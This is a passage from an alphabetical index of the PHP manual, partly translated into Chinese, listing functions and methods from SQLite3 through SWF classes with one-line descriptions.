    • SQLite3::changes - Returns the number of database rows that were changed (or inserted or deleted) by the most recent SQL statement
    • SQLite3::close - Closes the database connection
    • SQLite3::createAggregate - Registers a PHP function for use as an SQL aggregate function
    • SQLite3::createCollation - Registers a PHP function for use as an SQL collating function
    • SQLite3::createFunction - Registers a PHP function for use as an SQL scalar function
    • SQLite3::enableExceptions - Enable throwing exceptions
    • SQLite3::escapeString - Returns a string that has been properly escaped
    • SQLite3::exec - Executes a result-less query against a given database
    • SQLite3::lastErrorCode - Returns the numeric result code of the most recent failed SQLite request
    • SQLite3::lastErrorMsg - Returns English text describing the most recent failed SQLite request
    • SQLite3::lastInsertRowID - Returns the row ID of the most recent INSERT into the database
    • SQLite3::loadExtension - Attempts to load an SQLite extension library
    • SQLite3::open - Opens an SQLite database
    • SQLite3::openBlob - Opens a stream resource to read a BLOB
    • SQLite3::prepare - Prepares an SQL statement for execution
    • SQLite3::query - Executes an SQL query
    • SQLite3::querySingle - Executes a query and returns a single result
    • SQLite3::version - Returns the SQLite3 library version as a string constant and as a number
    • SQLite3::__construct - Instantiates an SQLite3 object and opens an SQLite 3 database
    • SQLite3Result::columnName - Returns the name of the nth column
    • SQLite3Result::columnType - Returns the type of the nth column
    • SQLite3Result::fetchArray - Fetches a result row as an associative or numerically indexed array or both
    • SQLite3Result::finalize - Closes the result set
    • SQLite3Result::numColumns - Returns the number of columns in the result set
    • SQLite3Result::reset - Resets the result set back to the first row
    • SQLite3Stmt::bindParam - Binds a parameter to a statement variable
    • SQLite3Stmt::bindValue - Binds the value of a parameter to a statement variable
    • SQLite3Stmt::clear - Clears all current bound parameters
    • SQLite3Stmt::close - Closes the prepared statement
    • SQLite3Stmt::execute - Executes a prepared statement and returns a result set object
    • SQLite3Stmt::getSQL - Get the SQL of the statement
    • SQLite3Stmt::paramCount - Returns the number of parameters within the prepared statement
    • SQLite3Stmt::readOnly - Returns whether a statement is definitely read only
    • SQLite3Stmt::reset - Resets the prepared statement
    • sqlite_array_query - Execute a query against a given database and returns an array
    • sqlite_busy_timeout - Set busy timeout duration, or disable busy handlers
    • sqlite_changes - Returns the number of rows that were changed by the most recent SQL statement
    • sqlite_close - Closes an open SQLite database
    • sqlite_column - Fetches a column from the current row of a result set
    • sqlite_create_aggregate - Register an aggregating UDF for use in SQL statements
    • sqlite_create_function - Registers a "regular" User Defined Function for use in SQL statements
    • sqlite_current - Fetches the current row from a result set as an array
    • sqlite_error_string - Returns the textual description of an error code
    • sqlite_escape_string - Escapes a string for use as a query parameter
    • sqlite_exec - Executes a result-less query against a given database
    • sqlite_factory - Opens an SQLite database and returns an SQLiteDatabase object
    • sqlite_fetch_all - Fetches all rows from a result set as an array of arrays
    • sqlite_fetch_array - Fetches the next row from a result set as an array
    • sqlite_fetch_column_types - Return an array of column types from a particular table
    • sqlite_fetch_object - Fetches the next row from a result set as an object
    • sqlite_fetch_single - Fetches the first column of a result set as a string
    • sqlite_fetch_string - 别名 sqlite_fetch_single
    • sqlite_field_name - Returns the name of a particular field
    • sqlite_has_more - Finds whether or not more rows are available
    • sqlite_has_prev - Returns whether or not a previous row is available
    • sqlite_key - Returns the current row index
    • sqlite_last_error - Returns the error code of the last error for a database
    • sqlite_last_insert_rowid - Returns the rowid of the most recently inserted row
    • sqlite_libencoding - Returns the encoding of the linked SQLite library
    • sqlite_libversion - Returns the version of the linked SQLite library
    • sqlite_next - Seek to the next row number
    • sqlite_num_fields - Returns the number of fields in a result set
    • sqlite_num_rows - Returns the number of rows in a buffered result set
    • sqlite_open - Opens an SQLite database and create the database if it does not exist
    • sqlite_popen - Opens a persistent handle to an SQLite database and create the database if it does not exist
    • sqlite_prev - Seek to the previous row number of a result set
    • sqlite_query - Executes a query against a given database and returns a result handle
    • sqlite_rewind - Seek to the first row number
    • sqlite_seek - Seek to a particular row number of a buffered result set
    • sqlite_single_query - Executes a query and returns either an array for one single column or the value of the first row
    • sqlite_udf_decode_binary - Decode binary data passed as parameters to an UDF
    • sqlite_udf_encode_binary - Encode binary data before returning it from an UDF
    • sqlite_unbuffered_query - Execute a query that does not prefetch and buffer all data
    • sqlite_valid - Returns whether more rows are available
    • sqlsrv_begin_transaction - Begins a database transaction
    • sqlsrv_cancel - Cancels a statement
    • sqlsrv_client_info - Returns information about the client and specified connection
    • sqlsrv_close - Closes an open connection and releases resourses associated with the connection
    • sqlsrv_commit - Commits a transaction that was begun with sqlsrv_begin_transaction
    • sqlsrv_configure - Changes the driver error handling and logging configurations
    • sqlsrv_connect - Opens a connection to a Microsoft SQL Server database
    • sqlsrv_errors - Returns error and warning information about the last SQLSRV operation performed
    • sqlsrv_execute - Executes a statement prepared with sqlsrv_prepare
    • sqlsrv_fetch - Makes the next row in a result set available for reading
    • sqlsrv_fetch_array - Returns a row as an array
    • sqlsrv_fetch_object - Retrieves the next row of data in a result set as an object
    • sqlsrv_field_metadata - Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare or sqlsrv_query
    • sqlsrv_free_stmt - Frees all resources for the specified statement
    • sqlsrv_get_config - Returns the value of the specified configuration setting
    • sqlsrv_get_field - Gets field data from the currently selected row
    • sqlsrv_has_rows - Indicates whether the specified statement has rows
    • sqlsrv_next_result - Makes the next result of the specified statement active
    • sqlsrv_num_fields - Retrieves the number of fields (columns) on a statement
    • sqlsrv_num_rows - Retrieves the number of rows in a result set
    • sqlsrv_prepare - Prepares a query for execution
    • sqlsrv_query - Prepares and executes a query
    • sqlsrv_rollback - Rolls back a transaction that was begun with sqlsrv_begin_transaction
    • sqlsrv_rows_affected - Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed
    • sqlsrv_send_stream_data - Sends data from parameter streams to the server
    • sqlsrv_server_info - Returns information about the server
    • SqlStatement::bind - Bind statement parameters
    • SqlStatement::execute - Execute the operation
    • SqlStatement::getNextResult - Get next result
    • SqlStatement::getResult - Get result
    • SqlStatement::hasMoreResults - Check for more results
    • SqlStatement::__construct - Description constructor
    • SqlStatementResult::fetchAll - Get all rows from result
    • SqlStatementResult::fetchOne - Get single row
    • SqlStatementResult::getAffectedItemsCount - Get affected row count
    • SqlStatementResult::getColumnNames - Get column names
    • SqlStatementResult::getColumns - Get columns
    • SqlStatementResult::getColumnsCount - Get column count
    • SqlStatementResult::getGeneratedIds - Get generated ids
    • SqlStatementResult::getLastInsertId - Get last insert id
    • SqlStatementResult::getWarnings - Get warnings from last operation
    • SqlStatementResult::getWarningsCount - Get warning count from last operation
    • SqlStatementResult::hasData - Check if result has data
    • SqlStatementResult::nextResult - Get next result
    • SqlStatementResult::__construct - Description constructor
    • SQL types with PDO_4D and PHP - SQL types with PDO_4D and PHP
    • sql_regcase - 产生用于不区分大小的匹配的正则表达式
    • sqrt - 平方根
    • srand - 播下随机数发生器种子
    • sscanf - 根据指定格式解析输入的字符
    • ssdeep_fuzzy_compare - Calculates the match score between two fuzzy hash signatures
    • ssdeep_fuzzy_hash - Create a fuzzy hash from a string
    • ssdeep_fuzzy_hash_filename - Create a fuzzy hash from a file
    • ssh2:// - Secure Shell 2
    • ssh2_auth_agent - Authenticate over SSH using the ssh agent
    • ssh2_auth_hostbased_file - Authenticate using a public hostkey
    • ssh2_auth_none - Authenticate as "none"
    • ssh2_auth_password - Authenticate over SSH using a plain password
    • ssh2_auth_pubkey_file - Authenticate using a public key
    • ssh2_connect - Connect to an SSH server
    • ssh2_disconnect - Close a connection to a remote SSH server
    • ssh2_exec - Execute a command on a remote server
    • ssh2_fetch_stream - Fetch an extended data stream
    • ssh2_fingerprint - Retrieve fingerprint of remote server
    • ssh2_methods_negotiated - Return list of negotiated methods
    • ssh2_publickey_add - Add an authorized publickey
    • ssh2_publickey_init - Initialize Publickey subsystem
    • ssh2_publickey_list - List currently authorized publickeys
    • ssh2_publickey_remove - Remove an authorized publickey
    • ssh2_scp_recv - Request a file via SCP
    • ssh2_scp_send - Send a file via SCP
    • ssh2_sftp - Initialize SFTP subsystem
    • ssh2_sftp_chmod - Changes file mode
    • ssh2_sftp_lstat - Stat a symbolic link
    • ssh2_sftp_mkdir - Create a directory
    • ssh2_sftp_readlink - Return the target of a symbolic link
    • ssh2_sftp_realpath - Resolve the realpath of a provided path string
    • ssh2_sftp_rename - Rename a remote file
    • ssh2_sftp_rmdir - Remove a directory
    • ssh2_sftp_stat - Stat a file on a remote filesystem
    • ssh2_sftp_symlink - Create a symlink
    • ssh2_sftp_unlink - Delete a file
    • ssh2_shell - Request an interactive shell
    • ssh2_tunnel - Open a tunnel through a remote server
    • SSL 上下文选项 - SSL 上下文选项清单
    • stat - 给出文件的信息
    • Statement::getNextResult - Get next result
    • Statement::getResult - Get result
    • Statement::hasMoreResults - Check if more results
    • Statement::__construct - Description constructor
    • stats_absolute_deviation - Returns the absolute deviation of an array of values
    • stats_cdf_beta - Calculates any one parameter of the beta distribution given values for the others
    • stats_cdf_binomial - Calculates any one parameter of the binomial distribution given values for the others
    • stats_cdf_cauchy - Calculates any one parameter of the Cauchy distribution given values for the others
    • stats_cdf_chisquare - Calculates any one parameter of the chi-square distribution given values for the others
    • stats_cdf_exponential - Calculates any one parameter of the exponential distribution given values for the others
    • stats_cdf_f - Calculates any one parameter of the F distribution given values for the others
    • stats_cdf_gamma - Calculates any one parameter of the gamma distribution given values for the others
    • stats_cdf_laplace - Calculates any one parameter of the Laplace distribution given values for the others
    • stats_cdf_logistic - Calculates any one parameter of the logistic distribution given values for the others
    • stats_cdf_negative_binomial - Calculates any one parameter of the negative binomial distribution given values for the others
    • stats_cdf_noncentral_chisquare - Calculates any one parameter of the non-central chi-square distribution given values for the others
    • stats_cdf_noncentral_f - Calculates any one parameter of the non-central F distribution given values for the others
    • stats_cdf_noncentral_t - Calculates any one parameter of the non-central t-distribution give values for the others
    • stats_cdf_normal - Calculates any one parameter of the normal distribution given values for the others
    • stats_cdf_poisson - Calculates any one parameter of the Poisson distribution given values for the others
    • stats_cdf_t - Calculates any one parameter of the t-distribution given values for the others
    • stats_cdf_uniform - Calculates any one parameter of the uniform distribution given values for the others
    • stats_cdf_weibull - Calculates any one parameter of the Weibull distribution given values for the others
    • stats_covariance - Computes the covariance of two data sets
    • stats_dens_beta - Probability density function of the beta distribution
    • stats_dens_cauchy - Probability density function of the Cauchy distribution
    • stats_dens_chisquare - Probability density function of the chi-square distribution
    • stats_dens_exponential - Probability density function of the exponential distribution
    • stats_dens_f - Probability density function of the F distribution
    • stats_dens_gamma - Probability density function of the gamma distribution
    • stats_dens_laplace - Probability density function of the Laplace distribution
    • stats_dens_logistic - Probability density function of the logistic distribution
    • stats_dens_normal - Probability density function of the normal distribution
    • stats_dens_pmf_binomial - Probability mass function of the binomial distribution
    • stats_dens_pmf_hypergeometric - Probability mass function of the hypergeometric distribution
    • stats_dens_pmf_negative_binomial - Probability mass function of the negative binomial distribution
    • stats_dens_pmf_poisson - Probability mass function of the Poisson distribution
    • stats_dens_t - Probability density function of the t-distribution
    • stats_dens_uniform - Probability density function of the uniform distribution
    • stats_dens_weibull - Probability density function of the Weibull distribution
    • stats_harmonic_mean - Returns the harmonic mean of an array of values
    • stats_kurtosis - Computes the kurtosis of the data in the array
    • stats_rand_gen_beta - Generates a random deviate from the beta distribution
    • stats_rand_gen_chisquare - Generates a random deviate from the chi-square distribution
    • stats_rand_gen_exponential - Generates a random deviate from the exponential distribution
    • stats_rand_gen_f - Generates a random deviate from the F distribution
    • stats_rand_gen_funiform - Generates uniform float between low (exclusive) and high (exclusive)
    • stats_rand_gen_gamma - Generates a random deviate from the gamma distribution
    • stats_rand_gen_ibinomial - Generates a random deviate from the binomial distribution
    • stats_rand_gen_ibinomial_negative - Generates a random deviate from the negative binomial distribution
    • stats_rand_gen_int - Generates random integer between 1 and 2147483562
    • stats_rand_gen_ipoisson - Generates a single random deviate from a Poisson distribution
    • stats_rand_gen_iuniform - Generates integer uniformly distributed between LOW (inclusive) and HIGH (inclusive)
    • stats_rand_gen_noncentral_chisquare - Generates a random deviate from the non-central chi-square distribution
    • stats_rand_gen_noncentral_f - Generates a random deviate from the noncentral F distribution
    • stats_rand_gen_noncentral_t - Generates a single random deviate from a non-central t-distribution
    • stats_rand_gen_normal - Generates a single random deviate from a normal distribution
    • stats_rand_gen_t - Generates a single random deviate from a t-distribution
    • stats_rand_get_seeds - Get the seed values of the random number generator
    • stats_rand_phrase_to_seeds - Generate two seeds for the RGN random number generator
    • stats_rand_ranf - Generates a random floating point number between 0 and 1
    • stats_rand_setall - Set seed values to the random generator
    • stats_skew - Computes the skewness of the data in the array
    • stats_standard_deviation - Returns the standard deviation
    • stats_stat_binomial_coef - Returns a binomial coefficient
    • stats_stat_correlation - Returns the Pearson correlation coefficient of two data sets
    • stats_stat_factorial - Returns the factorial of an integer
    • stats_stat_independent_t - Returns the t-value from the independent two-sample t-test
    • stats_stat_innerproduct - Returns the inner product of two vectors
    • stats_stat_paired_t - Returns the t-value of the dependent t-test for paired samples
    • stats_stat_percentile - Returns the percentile value
    • stats_stat_powersum - Returns the power sum of a vector
    • stats_variance - Returns the variance
    • Stomp::abort - Rolls back a transaction in progress
    • Stomp::ack - Acknowledges consumption of a message
    • Stomp::begin - Starts a transaction
    • Stomp::commit - Commits a transaction in progress
    • Stomp::error - Gets the last stomp error
    • Stomp::getReadTimeout - Gets read timeout
    • Stomp::getSessionId - Gets the current stomp session ID
    • Stomp::hasFrame - Indicates whether or not there is a frame ready to read
    • Stomp::readFrame - Reads the next frame
    • Stomp::send - Sends a message
    • Stomp::setReadTimeout - Sets read timeout
    • Stomp::subscribe - Registers to listen to a given destination
    • Stomp::unsubscribe - Removes an existing subscription
    • Stomp::__construct - 打开一个连接
    • Stomp::__destruct - Closes stomp connection
    • StompException::getDetails - Get exception details
    • StompFrame::__construct - Constructor
    • stomp_connect_error - Returns a string description of the last connect error
    • stomp_version - Gets the current stomp extension version
    • strcasecmp - 二进制安全比较字符串（不区分大小写）
    • strchr - 别名 strstr
    • strcmp - 二进制安全字符串比较
    • strcoll - 基于区域设置的字符串比较
    • strcspn - 获取不匹配遮罩的起始子字符串的长度
    • streamWrapper::dir_closedir - Close directory handle
    • streamWrapper::dir_opendir - Open directory handle
    • streamWrapper::dir_readdir - Read entry from directory handle
    • streamWrapper::dir_rewinddir - Rewind directory handle
    • streamWrapper::mkdir - Create a directory
    • streamWrapper::rename - Renames a file or directory
    • streamWrapper::rmdir - Removes a directory
    • streamWrapper::stream_cast - Retrieve the underlaying resource
    • streamWrapper::stream_close - Close a resource
    • streamWrapper::stream_eof - Tests for end-of-file on a file pointer
    • streamWrapper::stream_flush - Flushes the output
    • streamWrapper::stream_lock - Advisory file locking
    • streamWrapper::stream_metadata - Change stream metadata
    • streamWrapper::stream_open - Opens file or URL
    • streamWrapper::stream_read - Read from stream
    • streamWrapper::stream_seek - Seeks to specific location in a stream
    • streamWrapper::stream_set_option - Change stream options
    • streamWrapper::stream_stat - Retrieve information about a file resource
    • streamWrapper::stream_tell - Retrieve the current position of a stream
    • streamWrapper::stream_truncate - Truncate stream
    • streamWrapper::stream_write - Write to stream
    • streamWrapper::unlink - Delete a file
    • streamWrapper::url_stat - Retrieve information about a file
    • streamWrapper::__construct - Constructs a new stream wrapper
    • streamWrapper::__destruct - Destructs an existing stream wrapper
    • stream_bucket_append - Append bucket to brigade
    • stream_bucket_make_writeable - Return a bucket object from the brigade for operating on
    • stream_bucket_new - Create a new bucket for use on the current stream
    • stream_bucket_prepend - Prepend bucket to brigade
    • stream_context_create - 创建资源流上下文
    • stream_context_get_default - Retrieve the default stream context
    • stream_context_get_options - 获取资源流/数据包/上下文的参数
    • stream_context_get_params - Retrieves parameters from a context
    • stream_context_set_default - Set the default stream context
    • stream_context_set_option - 对资源流、数据包或者上下文设置参数
    • stream_context_set_params - Set parameters for a stream/wrapper/context
    • stream_copy_to_stream - Copies data from one stream to another
    • stream_filter_append - Attach a filter to a stream
    • stream_filter_prepend - Attach a filter to a stream
    • stream_filter_register - Register a user defined stream filter
    • stream_filter_remove - 从资源流里移除某个过滤器
    • stream_get_contents - 读取资源流到一个字符串
    • stream_get_filters - 获取已注册的数据流过滤器列表
    • stream_get_line - 从资源流里读取一行直到给定的定界符
    • stream_get_meta_data - 从封装协议文件指针中取得报头／元数据
    • stream_get_transports - 获取已注册的套接字传输协议列表
    • stream_get_wrappers - 获取已注册的流类型
    • stream_isatty - Check if a stream is a TTY
    • stream_is_local - Checks if a stream is a local stream
    • stream_notification_callback - A callback function for the notification context parameter
    • stream_register_wrapper - 别名 stream_wrapper_register
    • stream_resolve_include_path - Resolve filename against the include path
    • stream_select - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec
    • stream_set_blocking - 为资源流设置阻塞或者阻塞模式
    • stream_set_chunk_size - 设置资源流区块大小
    • stream_set_read_buffer - Set read file buffering on the given stream
    • stream_set_timeout - Set timeout period on a stream
    • stream_set_write_buffer - Sets write file buffering on the given stream
    • stream_socket_accept - 接受由 stream_socket_server 创建的套接字连接
    • stream_socket_client - Open Internet or Unix domain socket connection
    • stream_socket_enable_crypto - Turns encryption on/off on an already connected socket
    • stream_socket_get_name - 获取本地或者远程的套接字名称
    • stream_socket_pair - 创建一对完全一样的网络套接字连接流
    • stream_socket_recvfrom - Receives data from a socket, connected or not
    • stream_socket_sendto - Sends a message to a socket, whether it is connected or not
    • stream_socket_server - Create an Internet or Unix domain server socket
    • stream_socket_shutdown - Shutdown a full-duplex connection
    • stream_supports_lock - Tells whether the stream supports locking
    • stream_wrapper_register - 注册一个用 PHP 类实现的 URL 封装协议
    • stream_wrapper_restore - Restores a previously unregistered built-in wrapper
    • stream_wrapper_unregister - Unregister a URL wrapper
    • strftime - 根据区域设置格式化本地时间／日期
    • stripcslashes - 反引用一个使用 addcslashes 转义的字符串
    • stripos - 查找字符串首次出现的位置（不区分大小写）
    • stripslashes - 反引用一个引用字符串
    • strip_tags - 从字符串中去除 HTML 和 PHP 标记
    • stristr - strstr 函数的忽略大小写版本
    • strlen - 获取字符串长度
    • strnatcasecmp - 使用“自然顺序”算法比较字符串（不区分大小写）
    • strnatcmp - 使用自然排序算法比较字符串
    • strncasecmp - 二进制安全比较字符串开头的若干个字符（不区分大小写）
    • strncmp - 二进制安全比较字符串开头的若干个字符
    • strpbrk - 在字符串中查找一组字符的任何一个字符
    • strpos - 查找字符串首次出现的位置
    • strptime - 解析由 strftime 生成的日期／时间
    • strrchr - 查找指定字符在字符串中的最后一次出现
    • strrev - 反转字符串
    • strripos - 计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）
    • strrpos - 计算指定字符串在目标字符串中最后一次出现的位置
    • strspn - 计算字符串中全部字符都存在于指定字符集合中的第一段子串的长度。
    • strstr - 查找字符串的首次出现
    • strtok - 标记分割字符串
    • strtolower - 将字符串转化为小写
    • strtotime - 将任何字符串的日期时间描述解析为 Unix 时间戳
    • strtoupper - 将字符串转化为大写
    • strtr - 转换指定字符
    • strval - 获取变量的字符串值
    • str_getcsv - 解析 CSV 字符串为一个数组
    • str_ireplace - str_replace 的忽略大小写版本
    • str_pad - 使用另一个字符串填充字符串为指定长度
    • str_repeat - 重复一个字符串
    • str_replace - 子字符串替换
    • str_rot13 - 对字符串执行 ROT13 转换
    • str_shuffle - 随机打乱一个字符串
    • str_split - 将字符串转换为数组
    • str_word_count - 返回字符串中单词的使用情况
    • substr - 返回字符串的子串
    • substr_compare - 二进制安全比较字符串（从偏移位置比较指定长度）
    • substr_count - 计算字串出现的次数
    • substr_replace - 替换字符串的子串
    • SVM::crossvalidate - Test training params on subsets of the training data
    • SVM::getOptions - Return the current training parameters
    • SVM::setOptions - Set training parameters
    • SVM::train - Create a SVMModel based on training data
    • SVM::__construct - Construct a new SVM object
    • SVMModel::checkProbabilityModel - Returns true if the model has probability information
    • SVMModel::getLabels - Get the labels the model was trained on
    • SVMModel::getNrClass - Returns the number of classes the model was trained with
    • SVMModel::getSvmType - Get the SVM type the model was trained with
    • SVMModel::getSvrProbability - Get the sigma value for regression types
    • SVMModel::load - Load a saved SVM Model
    • SVMModel::predict - Predict a value for previously unseen data
    • SVMModel::predict_probability - Return class probabilities for previous unseen data
    • SVMModel::save - Save a model to a file
    • SVMModel::__construct - Construct a new SVMModel
    • svn_add - 计划在工作目录添加项
    • svn_auth_get_parameter - Retrieves authentication parameter
    • svn_auth_set_parameter - Sets an authentication parameter
    • svn_blame - Get the SVN blame for a file
    • svn_cat - Returns the contents of a file in a repository
    • svn_checkout - Checks out a working copy from the repository
    • svn_cleanup - Recursively cleanup a working copy directory, finishing incomplete operations and removing locks
    • svn_client_version - Returns the version of the SVN client libraries
    • svn_commit - 将修改的本地文件副本发送至版本库
    • svn_delete - Delete items from a working copy or repository
    • svn_diff - Recursively diffs two paths
    • svn_export - Export the contents of a SVN directory
    • svn_fs_abort_txn - Abort a transaction, returns true if everything is okay, false otherwise
    • svn_fs_apply_text - Creates and returns a stream that will be used to replace
    • svn_fs_begin_txn2 - Create a new transaction
    • svn_fs_change_node_prop - Return true if everything is ok, false otherwise
    • svn_fs_check_path - Determines what kind of item lives at path in a given repository fsroot
    • svn_fs_contents_changed - Return true if content is different, false otherwise
    • svn_fs_copy - Copies a file or a directory, returns true if all is ok, false otherwise
    • svn_fs_delete - Deletes a file or a directory, return true if all is ok, false otherwise
    • svn_fs_dir_entries - Enumerates the directory entries under path; returns a hash of dir names to file type
    • svn_fs_file_contents - Returns a stream to access the contents of a file from a given version of the fs
    • svn_fs_file_length - Returns the length of a file from a given version of the fs
    • svn_fs_is_dir - Return true if the path points to a directory, false otherwise
    • svn_fs_is_file - Return true if the path points to a file, false otherwise
    • svn_fs_make_dir - Creates a new empty directory, returns true if all is ok, false otherwise
    • svn_fs_make_file - Creates a new empty file, returns true if all is ok, false otherwise
    • svn_fs_node_created_rev - Returns the revision in which path under fsroot was created
    • svn_fs_node_prop - Returns the value of a property for a node
    • svn_fs_props_changed - Return true if props are different, false otherwise
    • svn_fs_revision_prop - Fetches the value of a named property
    • svn_fs_revision_root - Get a handle on a specific version of the repository root
    • svn_fs_txn_root - Creates and returns a transaction root
    • svn_fs_youngest_rev - Returns the number of the youngest revision in the filesystem
    • svn_import - Imports an unversioned path into a repository
    • svn_log - Returns the commit log messages of a repository URL
    • svn_ls - Returns list of directory contents in repository URL, optionally at revision number
    • svn_mkdir - Creates a directory in a working copy or repository
    • svn_repos_create - Create a new subversion repository at path
    • svn_repos_fs - Gets a handle on the filesystem for a repository
    • svn_repos_fs_begin_txn_for_commit - Create a new transaction
    • svn_repos_fs_commit_txn - Commits a transaction and returns the new revision
    • svn_repos_hotcopy - Make a hot-copy of the repos at repospath; copy it to destpath
    • svn_repos_open - Open a shared lock on a repository
    • svn_repos_recover - Run recovery procedures on the repository located at path
    • svn_revert - Revert changes to the working copy
    • svn_status - Returns the status of working copy files and directories
    • svn_update - Update working copy
    • SWFAction::__construct - Creates a new SWFAction
    • SWFBitmap::getHeight - Returns the bitmap's height
    • SWFBitmap::getWidth - Returns the bitmap's width
    • SWFBitmap::__construct - Loads Bitmap object
    • SWFButton::addAction - Adds an action
    • SWFButton::addASound - Associates a sound with a button transition
    • SWFButton::addShape - Adds a shape to a button
    • SWFButton::setAction - Sets the action
    • SWFButton::setDown - Alias for addShape(shape, SWFBUTTON_DOWN)
    • SWFButton::setHit - Alias for addShape(shape, SWFBUTTON_HIT)
    • SWFButton::setMenu - Enable track as menu button behaviour
    • SWFButton::setOver - Alias for addShape(shape, SWFBUTTON_OVER)
    • SWFButton::setUp - Alias for addShape(shape, SWFBUTTON_UP)
    • SWFButton::__construct - Creates a new Button
    • SWFDisplayItem::addAction - Adds this SWFAction to the given SWFSprite instance
    • SWFDisplayItem::addColor - Adds the given color to this item's color transform
    • SWFDisplayItem::endMask - Another way of defining a MASK layer
    • SWFDisplayItem::getRot - 说明
    • SWFDisplayItem::getX - 说明
    • SWFDisplayItem::getXScale - 说明
    • SWFDisplayItem::getXSkew - 说明
    • SWFDisplayItem::getY - 说明
    • SWFDisplayItem::getYScale - 说明
    • SWFDisplayItem::getYSkew - 说明
    • SWFDisplayItem::move - Moves object in relative coordinates
    • SWFDisplayItem::moveTo - Moves object in global coordinates
    • SWFDisplayItem::multColor - Multiplies the item's color transform
    • SWFDisplayItem::remove - Removes the object from the movie
    • SWFDisplayItem::rotate - Rotates in relative coordinates
    • SWFDisplayItem::rotateTo - Rotates the object in global coordinates
    • SWFDisplayItem::scale - Scales the object in relative coordinates
    • SWFDisplayItem::scaleTo - Scales the object in global coordinates
    • SWFDisplayItem::setDepth - Sets z-order
    • SWFDisplayItem::setMaskLevel - Defines a MASK layer at level
    • SWFDisplayItem::setMatrix - Sets the item's transform matrix
    • SWFDisplayItem::setName - Sets the object's name
    • SWFDisplayItem::setRatio - Sets the object's ratio
    • SWFDisplayItem::skewX - Sets the X-skew
    • SWFDisplayItem::skewXTo - Sets the X-skew
    • SWFDisplayItem::skewY - Sets the Y-skew
    • SWFDisplayItem::skewYTo - Sets the Y-skew
    • SWFFill::moveTo - Moves fill origin
    • SWFFill::rotateTo - Sets fill's rotation
    • SWFFill::scaleTo - Sets fill's scale
    • SWFFill::skewXTo - Sets fill x-skew
    • SWFFill::skewYTo - Sets fill y-skew
    • SWFFont::getAscent - Returns the ascent of the font, or 0 if not available
    • SWFFont::getDescent - Returns the descent of the font, or 0 if not available
    • SWFFont::getLeading - Returns the leading of the font, or 0 if not available
    • SWFFont::getShape - Returns the glyph shape of a char as a text string
    • SWFFont::getUTF8Width - Calculates the width of the given string in this font at full height
    • SWFFont::getWidth - Returns the string's width
    • SWFFont::__construct - Loads a font definition
    • SWFFontChar::addChars - Adds characters to a font for exporting font
    • SWFFontChar::addUTF8Chars - Adds characters to a font for exporting font
    • SWFGradient::addEntry - Adds an entry to the gradient list
    • SWFGradient::__construct - Creates a gradient object
    • SWFMorph::getShape1 - Gets a handle to the starting shape
    • SWFMorph::getShape2 - Gets a handle to the ending shape
    • SWFMorph::__construct - Creates a new SWFMorph object
    • SWFMovie::add - Adds any type of data to a movie
    • SWFMovie::addExport - 说明
    • SWFMovie::addFont - 说明
    • SWFMovie::importChar - 说明
    • SWFMovie::importFont - 说明
    • SWFMovie::labelFrame - Labels a frame
    • SWFMovie::nextFrame - Moves to the next frame of the animation
    • SWFMovie::output - Dumps your lovingly prepared movie out
    • SWFMovie::remove - Removes the object instance from the display list
    • SWFMovie::save - Saves the SWF movie in a file
    • SWFMovie::saveToFile - 说明
    • SWFMovie::setbackground - Sets the background color
    • SWFMovie::setDimension - Sets the movie's width and height
    • SWFMovie::setFrames - Sets the total number of frames in the animation
    • SWFMovie::setRate - Sets the animation's frame rate
    • SWFMovie::startSound - 说明
    • SWFMovie::stopSound - 说明
    • SWFMovie::streamMP3 - Streams a MP3 file
    • SWFMovie::writeExports - 说明
    • SWFMovie::__construct - Creates a new movie object, representing an SWF version 4 movie
    • SWFPrebuiltClip::__construct - Returns a SWFPrebuiltClip object
    • SWFShape::addFill - Adds a solid fill to the shape
    • SWFShape::drawArc - Draws an arc of radius r centered at the current location, from angle startAngle to angle endAngle measured clockwise from 12 o'clock
    • SWFShape::drawCircle - Draws a circle of radius r centered at the current location, in a counter-clockwise fashion
    • SWFShape::drawCubic - Draws a cubic bezier curve using the current position and the three given points as control points
    • SWFShape::drawCubicTo - Draws a cubic bezier curve using the current position and the three given points as control points
    • SWFShape::drawCurve - Draws a curve (relative)
    • SWFShape::drawCurveTo - Draws a curve
    • SWFShape::drawGlyph - Draws the first character in the given string into the shape using the glyph definition from the given font
    • SWFShape::drawLine - Draws a line (relative)
    • SWFShape::drawLineTo - Draws a line
    • SWFShape::movePen - Moves the shape's pen (relative)
    • SWFShape::movePenTo - Moves the shape's pen
    • SWFShape::setLeftFill - Sets left rasterizing color
    • SWFShape::setLine - Sets the shape's line style
    • SWFShape::setRightFill - Sets right rasterizing color
    • SWFShape::__construct - Creates a new shape object
    • SWFSound::__construct - Returns a new SWFSound object from given file
    • SWFSoundInstance::loopCount - 说明
    • SWFSoundInstance::loopInPoint - 说明
    • SWFSoundInstance::loopOutPoint - 说明
    • SWFSoundInstance::noMultiple - 说明
    • SWFSprite::add - Adds an object to a sprite
    • SWFSprite::labelFrame - Labels frame
    • SWFSprite::nextFrame - Moves to the next frame of the animation
    • SWFSprite::remove - Removes an object to a sprite
    • SWFSprite::setFrames - Sets the total number of frames in the animation
    • SWFSprite::startSound - 说明
    • SWFSprite::stopSound - 说明
    • SWFSprite::__construct - Creates a movie clip (a sprite)
    • SWFText::addString - Draws a string
    • SWFText::addUTF8String - Writes the given text into this SWFText object at the current pen position, using the current font, height, spacing, and color
    • SWFText::getAscent - Returns the ascent of the current font at its current size, or 0 if not available
    • SWFText::getDescent - Returns the descent of the current font at its current size, or 0 if not available
    • SWFText::getLeading - Returns the leading of the current font at its current size, or 0 if not available
    • SWFText::getUTF8Width - Calculates the width of the given string in this text objects current font and size
    • SWFText::getWidth - Computes string's width
    • SWFText::moveTo - Moves the pen
    • SWFText::setColor - Sets the current text color
    • SWFText::setFont - Sets the current font
    • SWFText::setHeight - Sets the current font height
    • SWFText::setSpacing - Sets the current font spacing
    • SWFText::__construct - Creates a new SWFText object
    • SWFTextField::addChars - Adds characters to a font that will be available within a textfield
    • SWFTextField::addString - Concatenates the given string to the text field
    • SWFTextField::align - Sets the text field alignment
    • SWFTextField::setBounds - Sets the text field width and height
    • SWFTextField::setColor - Sets the color of the text field
    • SWFTextField::setFont - Sets the text field font
    • SWFTextField::setHeight - Sets the font height of this text field font
    • SWFTextField::setIndentation - Sets the indentation of the first line
    • SWFTextField::setLeftMargin - Sets the left margin width of the text field
    • SWFTextField::setLineSpacing - Sets the line spacing of the text field
